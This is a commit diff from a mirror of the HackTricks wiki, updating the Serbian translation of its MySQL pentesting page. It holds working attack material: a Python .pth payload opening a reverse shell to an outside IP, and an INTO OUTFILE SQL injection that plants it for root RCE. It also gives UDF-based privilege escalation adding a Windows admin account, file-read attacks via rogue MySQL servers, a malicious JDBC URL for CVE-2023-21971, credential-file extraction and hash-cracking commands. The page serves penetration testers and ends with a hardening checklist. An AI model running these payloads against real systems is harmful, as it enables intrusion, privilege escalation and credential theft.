mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to sr
This commit is contained in:
parent
ba1608bdac
commit
08f9b15c68
@ -109,7 +109,7 @@ Možete videti u dokumentaciji značenje svake privilegije: [https://dev.mysql.c
|
||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
#### INTO OUTFILE → Python `.pth` RCE (specifične konfiguracione kuke za sajt)
|
||||
#### INTO OUTFILE → Python `.pth` RCE (specifične konfiguracione kuke)
|
||||
|
||||
Zloupotrebom klasične `INTO OUTFILE` primitive moguće je dobiti *izvršenje proizvoljnog koda* na metama koje kasnije pokreću **Python** skripte.
|
||||
|
||||
@ -117,11 +117,11 @@ Zloupotrebom klasične `INTO OUTFILE` primitive moguće je dobiti *izvršenje pr
|
||||
2. `.pth` datoteka može sadržati *jednu liniju* koja počinje sa `import ` praćenom proizvoljnim Python kodom koji će se izvršavati svaki put kada se interpreter pokrene.
|
||||
3. Kada se interpreter implicitno izvršava putem CGI skripte (na primer `/cgi-bin/ml-draw.py` sa shebang `#!/bin/python`), payload se izvršava sa istim privilegijama kao proces web-servera (FortiWeb ga je pokrenuo kao **root** → potpuno pre-auth RCE).
|
||||
|
||||
Primer `.pth` payload-a (jedna linija, bez razmaka koji mogu biti uključeni u konačni SQL payload, tako da hex/`UNHEX()` ili spajanje stringova može biti potrebno):
|
||||
Primer `.pth` payload-a (jedna linija, bez razmaka koji se mogu uključiti u konačni SQL payload, tako da hex/`UNHEX()` ili spajanje stringova može biti potrebno):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
Primer kreiranja fajla putem **UNION** upita (prostorni karakteri zamenjeni sa `/**/` kako bi se zaobišao `sscanf("%128s")` filter za prostore i zadržala ukupna dužina ≤128 bajtova):
|
||||
Primer kreiranja fajla kroz **UNION** upit (prostorni karakteri zamenjeni sa `/**/` kako bi se zaobišao `sscanf("%128s")` filter za prostore i zadržala ukupna dužina ≤128 bajtova):
|
||||
```sql
|
||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||
```
|
||||
@ -129,7 +129,7 @@ Važne ograničenja i zaobilaženja:
|
||||
|
||||
* `INTO OUTFILE` **ne može prepisati** postojeće datoteke; izaberite novo ime datoteke.
|
||||
* Putanja do datoteke se rešava **u odnosu na MySQL-ov CWD**, tako da prefiksiranje sa `../../` pomaže da se skraći putanja i zaobiđu ograničenja apsolutne putanje.
|
||||
* Ako je unos napadača izvučen sa `%128s` (ili slično) svaki razmak će skratiti payload; koristite MySQL sekvence komentara `/**/` ili `/*!*/` da zamenite razmake.
|
||||
* Ako je ulaz napadača izvučen sa `%128s` (ili slično), svaki razmak će skratiti payload; koristite MySQL komentare `/**/` ili `/*!*/` da zamenite razmake.
|
||||
* MySQL korisnik koji izvršava upit treba da ima `FILE` privilegiju, ali u mnogim uređajima (npr. FortiWeb) usluga se pokreće kao **root**, što daje pristup za pisanje gotovo svuda.
|
||||
|
||||
Nakon što se izbaci `.pth`, jednostavno zatražite bilo koji CGI koji obrađuje python interpreter da biste dobili izvršenje koda:
|
||||
@ -148,7 +148,7 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
|
||||
## MySQL proizvoljno čitanje datoteka od strane klijenta
|
||||
|
||||
Zapravo, kada pokušate da **učitate podatke lokalno u tabelu** **sadržaj datoteke** MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Tada, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\
|
||||
Zapravo, kada pokušate da **učitate podatke lokalno u tabelu** **sadržaj datoteke**, MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Tada, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\
|
||||
Molimo vas da obratite pažnju da je ovo ponašanje korišćenjem:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
@ -161,7 +161,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**U ovom radu možete videti potpun opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**U ovom radu možete videti potpunu opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Ovde možete pronaći pregled napada:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
@ -208,11 +208,11 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
```
|
||||
### Eskalacija privilegija putem biblioteke
|
||||
|
||||
Ako **mysql server radi kao root** (ili kao neki drugi korisnik sa višim privilegijama), možete ga naterati da izvršava komande. Za to, potrebno je koristiti **funkcije definisane od strane korisnika**. A da biste kreirali funkciju definisanu od strane korisnika, biće vam potrebna **biblioteka** za operativni sistem na kojem radi mysql.
|
||||
Ako **mysql server radi kao root** (ili kao neki drugi korisnik sa višim privilegijama), možete ga naterati da izvršava komande. Za to, potrebno je da koristite **funkcije definisane od strane korisnika**. A da biste kreirali funkciju definisanu od strane korisnika, biće vam potrebna **biblioteka** za operativni sistem na kojem radi mysql.
|
||||
|
||||
Zloćudna biblioteka koja se koristi može se pronaći unutar sqlmap-a i unutar metasploit-a tako što ćete uraditi **`locate "*lib_mysqludf_sys*"`**. **`.so`** datoteke su **linux** biblioteke, a **`.dll`** su one za **Windows**, izaberite onu koja vam je potrebna.
|
||||
|
||||
Ako **nemate** te biblioteke, možete ili **potražiti** ih, ili preuzeti ovaj [**linux C kod**](https://www.exploit-db.com/exploits/1518) i **kompilirati ga unutar linux ranjive mašine**:
|
||||
Ako **nemate** te biblioteke, možete ili **potražiti** ih, ili preuzeti ovaj [**linux C kod**](https://www.exploit-db.com/exploits/1518) i **kompajlirati ga unutar linux ranjive mašine**:
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
@ -251,7 +251,7 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
||||
SELECT sys_exec("net user npn npn12345678 /add");
|
||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
### Izvlačenje MySQL kredencijala iz fajlova
|
||||
### Izvlačenje MySQL akreditiva iz fajlova
|
||||
|
||||
Unutar _/etc/mysql/debian.cnf_ možete pronaći **lozinku u običnom tekstu** korisnika **debian-sys-maint**
|
||||
```bash
|
||||
@ -259,7 +259,7 @@ cat /etc/mysql/debian.cnf
|
||||
```
|
||||
Možete **koristiti ove akreditive za prijavu u mysql bazu podataka**.
|
||||
|
||||
Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve heširane lozinke MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka)_._
|
||||
Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve hešove MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka)_._
|
||||
|
||||
Možete ih izvući tako što ćete:
|
||||
```bash
|
||||
@ -295,7 +295,7 @@ Konfiguracione datoteke
|
||||
- update.log
|
||||
- common.log
|
||||
|
||||
## Podrazumevana MySQL baza podataka/tabele
|
||||
## Podrazumevana MySQL Baza Podataka/Tabele
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="information_schema"}}
|
||||
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
## References
|
||||
## 2023-2025 Istaknuto (novo)
|
||||
|
||||
### JDBC `propertiesTransform` deserializacija (CVE-2023-21971)
|
||||
Od Connector/J <= 8.0.32, napadač koji može uticati na **JDBC URL** (na primer, u softveru treće strane koji traži string za konekciju) može zatražiti učitavanje proizvoljnih klasa na *klijentskoj* strani putem `propertiesTransform` parametra. Ako je gadget prisutan na putanji klase i može se učitati, to rezultira **daljinskim izvršavanjem koda u kontekstu JDBC klijenta** (pre-autentifikacija, jer nisu potrebne validne kredencijale). Minimalni PoC izgleda ovako:
|
||||
```java
|
||||
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||
```
|
||||
Pokretanje `Evil.class` može biti jednostavno kao postavljanje na class-path ranjive aplikacije ili dozvoljavanje zlonamernom MySQL serveru da pošalje zlonamerni serijalizovani objekat. Problem je rešen u Connector/J 8.0.33 – nadogradite drajver ili eksplicitno postavite `propertiesTransform` na listu dozvoljenih.
|
||||
(Pogledajte Snyk izveštaj za detalje)
|
||||
|
||||
### Napadi zlonamernih / lažnih MySQL servera protiv JDBC klijenata
|
||||
Nekoliko alata otvorenog koda implementira *delimični* MySQL protokol kako bi napali JDBC klijente koji se povezuju ka spolja:
|
||||
|
||||
* **mysql-fake-server** (Java, podržava eksploate čitanja datoteka i deserializacije)
|
||||
* **rogue_mysql_server** (Python, slične mogućnosti)
|
||||
|
||||
Tipični putevi napada:
|
||||
|
||||
1. Aplikacija žrtva učitava `mysql-connector-j` sa `allowLoadLocalInfile=true` ili `autoDeserialize=true`.
|
||||
2. Napadač kontroliše DNS / unos hosta tako da se ime hosta baze podataka rešava na mašinu pod njihovom kontrolom.
|
||||
3. Zlonamerni server odgovara sa kreiranim paketima koji aktiviraju ili `LOCAL INFILE` proizvoljno čitanje datoteka ili Java deserializaciju → RCE.
|
||||
|
||||
Primer jedne linije za pokretanje lažnog servera (Java):
|
||||
```bash
|
||||
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||
```
|
||||
Zatim usmerite aplikaciju žrtve na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` i pročitajte `/etc/passwd` kodiranjem imena datoteke kao base64 u polju *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||
|
||||
### Razbijanje `caching_sha2_password` hešova
|
||||
MySQL ≥ 8.0 čuva hešove lozinki kao **`$mysql-sha2$`** (SHA-256). I Hashcat (mod **21100**) i John-the-Ripper (`--format=mysql-sha2`) podržavaju offline razbijanje od 2023. Dumpujte kolonu `authentication_string` i direktno je unesite:
|
||||
```bash
|
||||
# extract hashes
|
||||
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||
# Hashcat
|
||||
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||
# John the Ripper
|
||||
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||
```
|
||||
### Lista za jačanje bezbednosti (2025)
|
||||
• Postavite **`LOCAL_INFILE=0`** i **`--secure-file-priv=/var/empty`** da biste onemogućili većinu operacija čitanja/pisanja fajlova.
|
||||
• Uklonite **`FILE`** privilegiju sa aplikacionih naloga.
|
||||
• Na Connector/J postavite `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (prazno).
|
||||
• Onemogućite neiskorišćene autentifikacione dodatke i **zahtevajte TLS** (`require_secure_transport = ON`).
|
||||
• Pratite `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` i iznenadne `SET GLOBAL` izjave.
|
||||
|
||||
---
|
||||
|
||||
## Reference
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user